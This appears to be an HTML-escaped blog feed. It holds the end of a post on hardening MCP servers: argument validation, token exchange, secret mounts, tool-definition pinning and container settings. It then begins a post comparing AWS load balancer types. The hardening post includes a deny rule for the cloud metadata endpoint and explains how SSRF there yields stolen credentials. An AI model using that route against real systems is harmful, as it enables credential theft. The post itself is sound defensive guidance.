&lt;span class="nf"&gt;execFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"git"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"log"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"--oneline"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"--end-of-options"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;branch&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
         &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;repoDir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10_000&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dropping the shell isn't enough on its own. A value starting with &lt;code&gt;-&lt;/code&gt; is parsed as a flag, so &lt;code&gt;--end-of-options&lt;/code&gt; and the leading-dash check matter even with &lt;code&gt;execFile&lt;/code&gt;. The same discipline applies to file paths — compare the resolved path, not the string, to defeat symlink and &lt;code&gt;..&lt;/code&gt; tricks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;resolveInside&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;userPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;userPath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;sep&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;McpError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"invalid_argument"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For SSRF, use a per-tool host allowlist — not a denylist of "bad" IPs. A tool that calls one CRM API has no business fetching arbitrary URLs.&lt;/p&gt;




&lt;h2&gt;
  
  
  Credentials: the Lifecycle, Not the Vault
&lt;/h2&gt;

&lt;p&gt;An October 2025 audit of more than 5,200 open-source MCP servers found that 53% rely on static API keys or personal access tokens, and 79% pass secrets through environment variables. Environment variables surface in &lt;code&gt;kubectl describe&lt;/code&gt;, crash dumps, &lt;code&gt;/proc&lt;/code&gt;, and every child process — so a command-injection bug turns "can run a command" into "can read every secret the server holds."&lt;/p&gt;

&lt;p&gt;Three rules cover most of the ground.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exchange, don't forward.&lt;/strong&gt; Token passthrough is prohibited by the specification. Use RFC 8693 token exchange to trade the inbound token for one narrowed to a single downstream audience and scope:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl -s -X POST https://idp.example.com/oauth2/token \
  -d &lt;span class="nv"&gt;grant_type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;urn:ietf:params:oauth:grant-type:token-exchange \
  -d &lt;span class="nv"&gt;subject_token&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"$INBOUND_TOKEN"&lt;/span&gt; \
  -d &lt;span class="nv"&gt;subject_token_type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;urn:ietf:params:oauth:token-type:access_token \
  -d &lt;span class="nv"&gt;audience&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;https://api.crm.example.com \
  -d &lt;span class="nv"&gt;scope&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;records.read
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The result is useless against any other API, so an injected call can't pivot to a different downstream.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mount secrets as files, not variables.&lt;/strong&gt; Pull secrets from AWS Secrets Manager or Azure Key Vault through the Secrets Store CSI driver and read per call, so rotation takes effect without a restart:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Read per call: a rotated secret is picked up without a pod restart&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;crmKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;readFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/mnt/secrets/crm-api-key"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"utf8"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Keep lifetimes short.&lt;/strong&gt; Because stateless transport evaluates identity on every request, revoking an inbound token takes effect on the next call — but only if the downstream token minted from it expires on a comparable timescale (minutes, not hours).&lt;/p&gt;




&lt;h2&gt;
  
  
  Tool Definitions Are a Supply Chain Too
&lt;/h2&gt;

&lt;p&gt;The harder variant of tool poisoning is the rug pull: a server passes review, runs cleanly for weeks, then changes a definition without anyone re-approving it. The control that works regardless of how the payload is hidden is to pin what was approved and refuse anything else:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;definitionHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;ToolDefinition&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;canonical&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;canonicalJson&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;inputSchema&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inputSchema&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;annotations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;annotations&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;createHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"sha256"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;canonical&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"hex"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;admitTools&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serverId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;listed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;ToolDefinition&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;approved&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;registry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;approvedHashes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serverId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;listed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;approved&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nf"&gt;definitionHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;audit&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"tool_definition_changed"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;serverId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anything not approved never reaches the model's context, and a changed definition is quarantined until a human re-approves it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Container and Network Hardening
&lt;/h2&gt;

&lt;p&gt;Three controls bound the damage when an argument does slip through.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Strip the pod's privileges:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;securityContext&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;runAsNonRoot&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="na"&gt;readOnlyRootFilesystem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="na"&gt;allowPrivilegeEscalation&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
  &lt;span class="na"&gt;capabilities&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;drop:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"ALL"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="na"&gt;seccompProfile&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;type:&lt;/span&gt; &lt;span class="s"&gt;RuntimeDefault&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Block the node metadata endpoint.&lt;/strong&gt; SSRF is dangerous mostly because of where it leads — &lt;code&gt;169.254.169.254&lt;/code&gt;, which is how a server-side request becomes stolen cloud credentials. IRSA and Workload Identity use projected tokens and don't need node metadata access, so blocking it is safe:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;networking.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;NetworkPolicy&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;deny-metadata-endpoint&lt;/span&gt;
  &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;mcp-tenant-acme&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;podSelector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="na"&gt;policyTypes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;Egress&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="na"&gt;egress&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;ipBlock&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="na"&gt;cidr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;0.0.0.0/0&lt;/span&gt;
            &lt;span class="na"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"169.254.169.254/32"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On EKS, setting the IMDSv2 hop limit to 1 on the nodes adds a second barrier.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pin and verify the image.&lt;/strong&gt; Deploy by digest, not tag, and sign in CI so admission can reject anything unsigned. A Kyverno or Sigstore policy-controller admission rule on the MCP namespaces enforces verification at the cluster boundary.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where to Start
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Order&lt;/th&gt;
&lt;th&gt;Control&lt;/th&gt;
&lt;th&gt;Effort&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Argument validation: no shell, path containment, host allowlists&lt;/td&gt;
&lt;td&gt;Low, code-only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Move secrets from env vars to file mounts&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Block the metadata endpoint&lt;/td&gt;
&lt;td&gt;Low, one policy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Container hardening (&lt;code&gt;securityContext&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Token exchange with audience scoping&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Definition pinning and image signing&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The first four fit in a single sprint and don't require touching the identity provider or the CI pipeline.&lt;/p&gt;




&lt;h2&gt;
  
  
  Read the Full Article
&lt;/h2&gt;

&lt;p&gt;The summary covers the core controls. The full article goes deeper on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The complete argument validation patterns for path containment and SSRF, with the reasoning behind allowlists vs denylists&lt;/li&gt;
&lt;li&gt;Full CSI driver YAML for both AWS Secrets Manager (IRSA) and Azure Key Vault (Workload Identity)&lt;/li&gt;
&lt;li&gt;The rug-pull variant of tool poisoning and why grepping descriptions catches only a fraction of it&lt;/li&gt;
&lt;li&gt;Audit logging strategy — what to log, what never to log, and how to correlate events without storing payloads&lt;/li&gt;
&lt;li&gt;The one NetworkPolicy caveat that silently widens egress if you're not careful&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://aloknecessary.in/blogs/securing-mcp-servers-in-production/?utm_source=devto&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog_syndication&amp;amp;utm_content=securing-mcp-servers-in-production" rel="noopener noreferrer"&gt;Securing MCP in Production — Full Article&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>kubernetes</category>
      <category>devops</category>
      <category>security</category>
    </item>
    <item>
      <title>Load Balancer Internals: ALB vs NLB vs GWLB, and What Actually Happens to a Packet</title>
      <dc:creator>Alok Ranjan Daftuar</dc:creator>
      <pubDate>Mon, 09 Nov 2026 07:20:30 +0000</pubDate>
      <link>https://dev.to/aloknecessary/load-balancer-internals-alb-vs-nlb-vs-gwlb-and-what-actually-happens-to-a-packet-5cim</link>
      <guid>https://dev.to/aloknecessary/load-balancer-internals-alb-vs-nlb-vs-gwlb-and-what-actually-happens-to-a-packet-5cim</guid>
      <description>&lt;p&gt;The question "ALB or NLB?" usually gets answered by feature comparison — ALB has path-based routing, NLB has static IPs. That's not wrong, but it skips the decision that actually matters first: which OSI layer does your traffic need to be load balanced at. ALB operates at Layer 7, NLB at Layer 4, and GWLB at Layer 3, and that single distinction determines far more about behavior, performance, and what's even possible than any feature checklist does.&lt;/p&gt;

&lt;p&gt;This article works through each type by what it actually does to a packet — connection handling, health check granularity, cross-zone cost model, and the failure modes each type produces in production.&lt;/p&gt;




&lt;h2&gt;
  
  
  ALB: Layer 7 — terminates the connection
&lt;/h2&gt;

&lt;p&gt;ALB terminates the client's TCP connection entirely, reads the actual HTTP request — method, path, headers, host — and makes a routing decision based on that content before opening a new, separate TCP connection to the chosen backend.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client ──TCP/TLS──&amp;gt; ALB ──reads HTTP request──&amp;gt; routing decision
                      │
                      └──new TCP connection──&amp;gt; Target (backend)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This connection termination is the architectural fact that explains everything else ALB can do. Because it's parsing HTTP, it can route on path (&lt;code&gt;/api/*&lt;/code&gt; to one target group, &lt;code&gt;/static/*&lt;/code&gt; to another), host header, or query parameters — none of which are visible to a load balancer that only sees TCP segments.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_lb_listener_rule"&lt;/span&gt; &lt;span class="s2"&gt;"api_route"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;listener_arn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_lb_listener&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;
  &lt;span class="n"&gt;priority&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;

  &lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;type&lt;/span&gt;             &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"forward"&lt;/span&gt;
    &lt;span class="n"&gt;target_group_arn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_lb_target_group&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;condition&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;path_pattern&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"/api/*"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The cost: ALB adds processing latency per request, and because it terminates TLS, the backend sees the ALB's IP as the source — not the client's real IP — unless you read it from the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header ALB injects. This is a frequent source of confusion in application logs and IP-based rate limiting logic that wasn't written with a Layer 7 proxy in mind.&lt;/p&gt;




&lt;h2&gt;
  
  
  NLB: Layer 4 — preserves the connection
&lt;/h2&gt;

&lt;p&gt;NLB doesn't terminate the client connection or read anything above the transport layer. It forwards packets to a chosen target based on a consistent hash of the connection's 5-tuple, and the TCP connection stays intact end-to-end between client and target.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client ──TCP connection (same connection throughout)──&amp;gt; NLB ──&amp;gt; Target
                                                            (NLB forwards, doesn't terminate)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



